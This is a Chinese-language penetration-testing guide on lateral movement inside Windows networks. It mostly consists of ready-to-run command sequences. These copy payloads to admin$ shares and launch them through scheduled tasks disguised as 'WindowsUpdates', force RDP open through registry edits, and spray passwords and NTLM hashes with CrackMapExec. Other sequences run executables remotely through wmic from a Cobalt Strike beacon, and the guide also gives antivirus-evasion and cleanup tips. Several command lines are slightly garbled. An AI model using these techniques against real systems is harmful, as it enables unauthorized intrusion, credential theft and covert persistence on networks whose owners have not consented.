内网渗透: 横向渗透方法总结

1

0x01 基本横向方法:

横向方法 实现方法
远程计划任务,远程服务管理 $IPC远程操作实现目标上线
Dcom 远程执行 通过Com对象进行远程命令执行
Rdp 远程执行 RDP配合代码执行进行横向渗透
SSH 远程执行 MSF配合命令执行进行横向渗透
Mssql 远程执行 MSF配合Hash-dump模块,或者通过存储过程进行命令执行
Oracle 远程执行
Mysql 远程执行
Post gresql 远程执行
集控下发 各类 EDR 主控端 补丁服务器
SSP
SSH 类后门 别名记录
各类 Java 中间件 RCE Nday Tomcat,ActiveMQ,Weblogic,Jenkins,shiro,fastjson MSF配合各类中间件利用工具
IIS6.0 Webdav RCE & PUT 利用中间件漏洞RCE实现横向
OWA CVE 2020 0688
CVE 2019 0708 3389漏洞利用
MS17 010 永恒之蓝利用
MS08 067
Rsync 写文件 通过文件同步
NFS 错误配置
内网钓鱼 利用内部 邮件 OA 聊天工具 社工 FTP /NAS 挑 文件绑马替换
DNS 劫持 挂马 钓鱼
Rdp 反向劫持 条件苛刻
通过收集的敏感信息横向 实现方法
个人机浏览器 Web 密码 抓取 找上传 传 shell 常规WEB渗透,寻找关键系统getshell
抓取各类三方工具客户端 [Xshell,SecureCRT,Navicat,SSMS,PLSQL,Filezilla,xftp密码 获取敏感信息,进行密码收集,定点横向
MS14 068 通过漏洞获取域控权限
服务票据爆破 域内服务暴力破解
Ldap 喷射 通过工具进行Ldap喷射
绑定登录脚本 通过域控进行设定登陆脚本
EDR下发策略 各类高权限的恶意策略下发

0x02 具体实现步骤

[+] 远程计划任务

前提条件:

  • 1.必须通过其他手段拿到本地或者域管理账号密码
  • 2.若在横向渗透过程中,要保证当前机器能net use远程到目标机器上
  • 3.目标机器开启了task scheduler服务,正常运行Task Scheduler

具体步骤:

  • XP/2003以下版本利用方式
net use \\10.10.10.10\admin$ /user:"administrator" !QAZ2wsx # net use

net time 10.10.10.10 # 查看 远程 windows 机器时间

xcopy Patches.exe 192.168.3.102 admin$ temp # 把 payload拷到远程机器的某个临时目录下

at 192.168.3.102 19:30 /every:5,6,7,10,18,19,21,24,28 windows temp Patches.exe # 开始在 远程 机器 上创建计划任务 只 在 每个月 的这几天的晚上七点半 准时 执行 指定 的 payload

at 192.168.3.102 # 查看 远程机器上的 所有 计划任务 列表

at 192.168.3.102 /delete /yes # 删除 远程机器上的所有计划任务 也可以 用 指定 id 的 方式 删除 单条 计划任务

net use 192.168.3.102 admin$ /del # 用完 以后 立即 删除 该 ipc 连接
  1. 通过IPC共享木马文件,先查看目标时间:
image-20200925164637769
  • Windows 7/windows 2003 以上

具体操作流程

net use \\192.168.3.108\admin$ /user:"administrator" "admin!@#45"

net time \\192.168.3.108

xcopy c:\rev.bat \\192.168.3.108\admin$\temp\

chcp 437 # 如果目标是中文系统,最好先调整下字符集,不然会有问题

schtasks /create /s 192.168.3.108 /u "administrator" /p "admin!@#45" /RL HIGHEST /F /tn "WindowsUpdates" /tr "C:/Windows/temp/bit.exe" /sc DAILY /mo 1 /ST 20:15
#在远程的目标机器上创建计划任务

schtasks /run /tn WindowsUpdates /s 192.168.3.108 /U " administrator" /P "admin!@#45" # 创建完以后,远程手动运行

schtasks /query /s 192.168.3.108 /U "administrator" /P "admin!@#45" | findstr "WindowsUpdates" # 运行完以后,随手检查运行状态

schtasks /delete /F /tn WindowsUpdates /s 192.168.3.108 /U " administrator" /P "admin!@#45" # 一般情况下,在我们拿到远程机器shell 以后,立即删除远程机器上的计划任务即可

[+] Dcom 远程执行

前提条件:

  • 1.必须拥有管理员权限,目标机开启共享且关闭防火墙
  • 2.若在域内环境横向渗透过程中,要保证当前机器获取了域管理员证书

具体步骤:

[+] RDP 横向渗透

前提条件:

  • 1.在拿下一台机器后,Dump-Hash之后得到明文密码,结合本机信息猜测其他机器密码,进行横向(动静较大)
  • 2.拥有管理员权限或者RDP组权限
  • 3.通过RDP成功连接时,执行程序实现横向渗透

具体步骤:

(1)密码规则猜测,或者弱口令直接撞3389(工作组环境)

  • 假设拿到DMZ区域的WEB服务器,DumpHash后,获得密码格式
# IP: 10.10.10.130   密码: ABCD130!@.

# 仔细划分为三部分:

# ABCD  目标公司名称简称 

# 130	目标系统IP的C段地址

# !@.	密码策略问题,加的特殊字符

# 由此可以猜测主机内其他机器管理员密码情况,从而定点横向,从WEB到数据库从数据库到核心。。。。

(2) 通过高权限用户配合高密码进行横向RDP喷射

  • 高权限域用户,Dump到明文密码,3389端口开启:

    • RDP端口查看方式:
    # 通过注册表查询3389
    
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启
    
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber  # 查看RDP服务的端口
    
    
    # 通过进程查看
    
    tasklist /svc | find "TermService" # 找到对应服务进程的PID
    netstat -ano | find "3220" # 找到进程对应的端口号
    
    
    # 通过监听端口查看
    
    netstat -ano | findstr LIS # 查看当前监听端口,有些情况可能RDP端口更改
    
    
    • 强开RDP端口方法:

      # 注册表开启,高权限用户:
      
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
      
      REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  # 监听 3389 端口
      
      # 注册表文件开启,高权限用户:
      
      Windows Registry Editor Version 5.00
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
      "fDenyTSConnections"=dword:00000000
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
      "PortNumber"=dword:00000d3d 
      
      # Wmic启动远程主机RDP服务:
      
      wmic /node: "10.10.10.130" /USER:"10.10.10.130\administrator" PATH win32_erminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要输入远程机器上管理员密码
      
  • 后续通过一些RDP爆破工具,进行爆破,前提是已经进行过3389端口的扫描得到结构,以免动静太大,效率太低!

[+] SMB 横向渗透

前提条件:

  • 1.获取到目标机器的明文密码/NTLM-Hash
  • 2.若在工作组内进行SMB的爆破,目标机器开启445端口,开启admin目录共享,以及密码正确

常用方法:

  • 1.基础的手动进行IPC连接,实现横向
  • 2.通过msf自带的psexec 模块进行横向
  • 3.通过CrackMapexec进行横向渗透
  • 4.通过计划任务进行smb的爆破,实现横向渗透
  • 5.目标开启135端口,通过WMI进行命令执行,实现横向
  • 6.通过powershll脚本实现PTH,进行横向渗透

基本步骤:

工具地址:

https://github.com/maaaaz/CrackMapExecWin

https://github.com/byt3bl33d3r/CrackMapExec

CrackMapExec为例,通常情况下,有Python版本的编译的exe版本,实战时要修改特征,如果要落地到目标机器,注意免杀!例子:工作组环境下的利用:

  1. 首先先通过手中的机器,dump到Hash或者明文密码,为了效率问题,针对已知网段的445端口进行探测,保存结果:
crackmapexec.exe -d . -t 10 172.16.0.0/16
image-20210204104949552
  1. 探测后的结果,通过手中的密码/Hash去撞一下机器,顺便获取登陆成功后的机器的Hash,为后续做准备:
for /f "delims=" %i in (C:\windows\temp\ip.txt) do @crackmapexec.exe -d . -u administrator -p !QAZ@WSX 1 --sam %
image-20210204110045733
  1. 筛选Hash后续进行,第二次传递,实战中可以通过计划任务,配合免杀的MimiKatz进行抓取明文密码:
image-20201213180319606

[+] SMB 横向渗透

基于wmic的横向渗透,目标防火墙关闭,开启135端口

beacon>shell net use N10.7.6.30\admin$ /user:"administrator""xxxx@1234"
beacon>shell copy SysDebug.exe N10.7.6.30ladminS\debug\
beacon>shell wmic/NODE:"10.7.6.30"/user:"administrator"/password:"xxxx@1234" PROCESS
call create"c:\windows\debug\SysDebug.exe"
beacon>shell del \10.7.5.25\admin$\debug\SysDebug.exe/F
beacon>shell net use\10.7.6.30ladmin$/del

SMB碰撞

shell for/f "delims=" %i in(D:/用户文档/yanc/Contacts/all.txt)do SysLog.exe-h%i
user.txt pwd.txt>>sys.logs

基于IPC的横向渗透,目标445端口开放:

beacon>shell net use \\10.ip.ip.ip\admin$ /user:"administrator" "password"
beacon>shell copy debug.exe \\10.ip.ip.ip\admin$\debug\
beacon>shell wmic /NODE:"10.ip.ip.ip" /user:"administrator" /password:"passsword" PROCESS call create "c:\windows\debug\debug.exe"
beacon>shell del \\10.ip.ip.ip\admin$\debug\debug.exe /F
beacon>shell net use \\10.ip.ip.ip\admin$ /del